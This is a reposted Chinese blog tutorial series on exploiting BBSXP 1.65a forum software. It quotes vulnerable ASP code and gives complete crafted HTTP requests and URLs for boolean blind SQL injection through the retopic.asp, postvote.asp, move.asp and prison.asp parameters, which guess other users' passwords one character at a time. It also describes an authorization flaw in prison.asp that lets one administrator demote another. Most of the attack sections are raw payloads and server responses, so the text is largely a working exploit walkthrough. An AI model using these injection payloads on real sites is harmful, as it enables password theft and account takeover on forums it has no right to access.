看这个系列的(一)。
GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.as...orumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39;
onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!;
addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,
forumid没有提交,马上改正!NC过去,提交如下数据:
GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.as...orumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39;
onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!;
addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提
交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好
,手工的话,呵呵……
其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏
览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对
,我们可以利用一下这一句话:
if Request("quote")=1 then
content =rs("content")
quote="
引用:
--------------------------------------------------------------------------------
原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&"
--------------------------------------------------------------------------------
"
end if
我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就
是500错误。例如:
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20us
er%20where%20username="never"%20and%20right(left(userpass,3),1)="c")&forumid=1"e
=1
这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章
的内容。如果我的猜测错误,比如这样子:
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20us
er%20where%20username="never"%20and%20right(left(userpass,3),1)="3")&forumid=1"e
=1
返回给浏览器的信息就出现了错误,我的机器上是
ADODB.Field 错误 "800a0bcd"
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记
录。
/bbsxp/retopic.asp,行212
呵呵,这是很容易分辨的,而且也很容易实现注入。

顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和
request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵!
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看三]
[ 作者:佚名 来源:来自 Internet 文章录入:STZY 时间:2003.08.12]
其实躺在床上看代码也是一件非常惬意的事情,特别是看那些写得很烂的东西时候,
你总莫名其妙地产生一种居高临下的感觉。在过了一个痛苦不堪的暑假后,尤其是在生病
后急需要调整心情的那段时间里,看BBSXP几乎成了我唯一的享受。
依然是BBSXP1.65a,依然是业余级别的代码和洞。
recycle.asp行16、17。这是一个要管理员或者社区区长才能利用漏洞,代码如下:
for each ho in request.form("id")
conn.execute("update [forum] set
deltopic=0,lasttime=now,content=content&"
[此帖子已
被 "&Request.Cookies("username")&" 在 "&now&" 还原过]" where id="&ho&"
and deltopic=1")
next
对于MSSQL版(如果地球上存在的话)的来说,这个的利用难度是零。但是对于
ACCESS版的要利用这个猜密码玩的话,难度是很大的,因为不好判断条件正确与否,姑且
就把这个洞的利用放掉吧。
prison.asp行28同样是一个要管理员或者社区区长才能利用漏洞,代码是这样的:
sql="select * from user where username=""&Request("username")&"""
我把这个洞称作愚蠢的,第一是因为幼稚的写法,第二是因为在这个尔虞我诈的社
会,你永远不知道同样身为管理员的他是否会在背后捅你一刀,轻率地写那些只有管理员
才有权访问的代码,同样会增加整个论坛的脆弱性。
一句老话,对于MSSQL版(如果地球上确实存在的话)的来说,这个的利用难度是零,
而对于准备猜密码的人来说,难度就像是让中国跳水队在一米板上做301B。
进入prison.asp,用户名上面填写的就是我们要注入的东西,理由随便。比如我们来
猜猜never的密码,当然,我自己是知道的密码的,这里只是假装不知道。
要填写的东西基本上就不用考虑,猜never的密码第一位最好的格式是这样:
select * from user where username="never" and right(left(userpass,1),1)
="x"
比较一下prison.asp第28行,简直就是量身定做,提交的用户名就这样就好了
never" and right(left(userpass,1),1)="x
never的密码第一位是1,我提交的不正确的话,比如提交的就是never" and right
(left(userpass,1),1)="2,那么BBSXP会傻乎乎的告诉我这个用户资料不存在,呵呵,
很显然,这个的查询结果是空,当然没有资料存在了。如果我猜的不是2而是1,回来的资
料就不太一样,这里never是社区社长,不能被关进监狱,因为这个查询结果正好就是
never,所以BBSXP告诉我们不能抓入监狱。当然,猜不同的人的密码情况可能不太一样,
反正如果返回结果是用户资料不存在,你就是猜错了,否则你就猜对了。
同样的洞在同样的文件中有很多个拷贝,我就不一一列举了,下面再说一个搞笑的漏
洞。
同样的文件,行71到89是这样的
if Request("menu")="release" then
sql="select * from user where username=""&Request.Cookies("username")&"""
rs.Open sql,Conn
if rs("membercode") < 4 then
error("
您的权限不够,无法释放犯人!")
end if
if Request.Cookies("userpass")<>rs("userpass") then
error("
您的密码错误")
end if
rs.close
conn.execute("update [user] set membercode=1 where username=""&Request
("username")&""")
conn.execute("delete from [prison] where username=""&Request("username")
&""")
response.redirect "prison.asp"
end if
我为什么要说怕别人在背后摆你一道呢,就是这里了。我要是管理员,我可以让任何
人进监狱!这里没有检查要释放的人是不是在监狱里面,我要是弄了一个不是在监狱里面
的人提交过去,马上就把他打为平民了,因为有这句话:
conn.execute("update [user] set membercode=1 where username=""&Request
("username")&""")
比如我是never,test是管理员,但是我很看不惯它这个小子。我登陆后在浏览器中
输入
http://localhost/bbsxp/prison.asp?menu=release&username=test
咔嚓,test变成平头老百姓了,然后我按照正常的手段就可以把他弄进监狱里面去。
哦,可怜的test,他还不知道世道如此险恶。
总而言之,这个论坛是极其搞笑的,任何的自夸之语只能授人以笑柄。什么叫“一般
你只要自己设置一下,不用升级我们的程序,你就可以永远排除这种漏洞”,我都不好意
思读出来,就是这样的论坛,这样的代码,就是猴子听了都会脸红。后面一个漏洞充分的
体现了编写者的思维混乱,我都不能说他们是外行,因为我身边的非计算机系DDMM们才大
一大二,他们都有严谨的思维方式,而且写出来的代码简洁有力,我怕这样说会伤了DDMM
们的心,他们才是真正的外行啊!BBSXP的人呢?你们算是什么呢?
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看四]
[ 作者:佚名 来源:来自 Internet 文章录入:STZY 时间:2003.08.12]
这段时间上网遇到朋友,问起关于BBSXP漏洞的问题,我淡淡地说,生病了,没有看。他说
,哦,最近到BBSXP看先生的漏洞文章都给删了,看来BBSXP对先生还是很深恶痛绝的,先生
还是写点什么吧。我说,哦,那我就写点什么吧。
我在生病之余还看了一本叫《重构》的影印本书,虽然是讲的java的重构,但是确实对所有
的语言都有启发的作用,对于BBSXP的代码形式,我不想多说,如果开发者有机会拜读一下
这本书的话,想必可以学到些什么。代码写得不好看不是什么丢人的事情,但改善了后必定
会让别人刮目相看。每次都会给BBSXP提些免费的建议,这次就废话这么多吧,身体不好,
打字很费体力。
postvote.asp有一段代码是这样子的,非常扎眼
sql="select * from forum where id="&Request("id")&""
rs.Open sql,Conn,1,3
有兴趣的朋友可以参看以前的文章来利用。或者看下面给出方法和分析:

利用这个漏洞首先要有一个投票的项目,这个投票的项目可以是自己发的一个贴子,我们要
记录下这个贴字的id号,把鼠标移到标题上看浏览器的状态栏,或者直接点进去看浏览器的
地址栏都可以得到id,比如我在自己机器上测试的是id为2。
用BBSXP漏洞[倒着看一]中的方法我们可以很容易的抓到标准的提交数据,我抓到的数据是
这样的:
POST /bbsxp/postvote.asp?id=2 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
利用的话,只需要修改一点点东西,就是POST后面的路径和文件。因为注入是发生在id上的
,所以我们提交恶意的id就可以构造我们的查询条件了,比如我们猜test的密码第一位,是
1,当然,我们先猜一个2看看,这时候我们提交的id的值应该是
2 and 1=(select count(*) from user where username="test" and
right(left(userpass,1),1)="1
将所有的空格全部用%20代替(为什么?不要问我),就成了下面的样子(NC到对方的web口
):
POST
/bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20us
ername="test"%20and%20right(left(userpass,1),1)="2") HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 500 Internal Server Error。因为结果为空,就是说我们猜错了。如
果我们猜对了的话,应该是这个:
POST
/bbsxp/postvote.asp?id=2%20and%201=(select%20count(*)%20from%20user%20where%20us
ername="test"%20and%20right(left(userpass,1),1)="1") HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel, application/msword,
application/vnd.ms-powerpoint, */*
Referer: http://localhost/bbsxp/showtopic.asp?id=2&forumid=1&page=0
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D30+22%3A39%3A10;
vote=1+and+1%3D1%7C1+or+1%3D1%7C1+and+1%3C%3E1%7C;
onlinetime=2002%2D7%2D30+22%3A35%3A29; username=never; userpass=FuckUSA!!!;
addmin=0; ASPSESSIONIDQGQGGVWO=DMFHIAEDKPJDFNNLIMBEAAIG
forumid=1&postvote=0
返回了一个HTTP/1.1 200 OK,不管其他是什么,这里肯定是猜对了。重复这个简单无聊的
过程,便可一位一位猜出密码来,有时间你可以慢慢写程序,或者是慢慢猜,但是可以肯定
的是,这种事情是毫无意义的。
--------------------------------------------------------------------------------
BBSXP漏洞[倒着看五]
比如我们要找SQL Injection的漏洞,自然会到生成SQL查询语句的代码中去搜寻。一般来说
,满足两个条件的就可以:一、生成的SQL查询语句中包含我们提交的内容;二、提交的内
容没有过滤或者是过滤不完全,像1.65a版move.asp行22:
sql="select * from forum where ID="&ID&" and forumid="&forumid&""
里面有两个变量,都有可能满足上面的两个条件,往上看ID和forumid从何而来,行4、5:
ID=Request("ID")
forumid=Request("forumid")
都是用户提交的,满足第一个条件。当然还要看看是否满足第二个条件,行6、7、8:
if isnumeric(""&forumid&"") = flase then
error("
非法操作")
end if
这个是说forumid是检查了的,如果不是数字的话就会导致一个“非法操作”,但是我们看
到代码里面并没有对ID进行检查,这就满足第二个条件了。事实上VB对变量的类型不是特别
的严格,看起来ID好像应该是一个整型,但我们提交一个字符串型的ID也不会造成错误,真
是很遗憾啊。
依据数据库的类型,我们可以作出不同的攻击策略,如果是MSSQL,这是支持多语句查询的
,而且可以利用存储过程,相对来说简单一点;如果是ACCESS,最多就只能在一个库里面跨
表操作,且只支持单一语句查询,功能要弱一些,一般以猜测密码为最终的目的。其实对于
MSSQL进行攻击也是很有趣的,有时候也会要一些很巧妙的技巧,不过鉴于大部分BBSXP都是
用的ACCESS,就不讨论MSSQL下的攻击了。
我们先看这样一句查询语句:
select * from forum where id=1 and 1=(select count(*) from user) and forumid=1
执行这个就返回的结果来看,可以是空或者非空,关键在于where后面的条件。分开来看的
话,可以是三个条件的合取范式,抛开id=1和forumid=1,来看看中间的一个条件:
1=(select count(*) from user)
这个条件为真的话,整个范式就为真,也就是说查询后的返回集不为空,否则的话返回集就
是一个空集。这个条件是说user表里面的列项是否为1,由于我们可以获知返回集的空与非
空的情况,进一步就可以知道user表里面的列项是否为1了。一句话,上面的查询语句返回
结果为空,就是说user表里有1个列,否则user表里面列项就不为1。
这是很容易理解的,弄懂了这个,就可以构造条件来让对方回答是或者否了。猜谜码除了问
你的密码是不是xxxxxxx以外,还可以问你的密码第x位是不是x,你的密码是不是一共有x位
等等,我们就是这样猜出别人的密码的,打个比方,我们问,never的密码长度是不是7位啊
,条件就这样写:
1=(select count(*) from user where username="never" and len(userpass)=7)
要是猜对方的第a位密码是不是"x",就这样构造条件:
1=(select count(*) from user where username="never" and
right(left(username,a),1)="x")
通过对方回答是还是不是就可以猜出来了。嗯,这仅仅是构造了条件,如果是完整的一个查
询语句的话,应该是这样,我们还是完整的写出来,虽然有点长:
select * from forum where id=1 and 1=(select count(*) from user where
username="never" and len(userpass)=7) and forumid=1
这是问never的密码长度是不是7位的查询语句,比较一下move.asp第22行的那个语句,看出
来id为什么的时候就成了上面一条了吗?
ID="1 and 1=(select count(*) from user where username="never" and
len(userpass)=7)"
forumid=1
于是我们又倒回来,只要提交上述的id和forumid值,不就可以慢慢的猜随便那个人的密码
了吗?
明白了道理,利用就简单了。按照对代码的分析,如果查询后的结果rs为空,后面调用了rs
的属性,一定会报错,如果rs不为空,那么一切正常。换句话说,猜对了的话,看到的就是
正常的信息,猜错了的话就会看到这样的错误:
"BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记
录。"
实战演练一下,随便以一个人登陆,然后在地址栏中键入:
http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user
where username="never" and len(userpass)=7)
哗,返回了一个空白页,看代码就可以看到上面的错误信息,也就是说密码不是7位。再猜
猜密码是不是9位。
http://localhost/bbsxp/move.asp?forumid=1&id=1 and 1=(select count(*) from user
where username="never" and len(userpass)=9)
哗,显示出来将帖子移动到什么地方的选项,没有错误信息,也就是说密码就是9位了。同
样,下面就应该来慢慢的猜每一位的密码,自己可以试试?

--------------------------------------------------------------------------------
以上是教人犯罪的行为,大家请勿模范!!!!出了事别找我!有事没事也别找我!我不是原作!嘎嘎!!!!请勿到处粘贴此文!!!!会引来不堪设想的后果!!!!!

- 作者: killerz 2005年12月23日, 星期五 13:13  回复(0) |  引用(0) 加入博采

IceSword-高级进程管理器介绍
IceSword-高级进程管理器介绍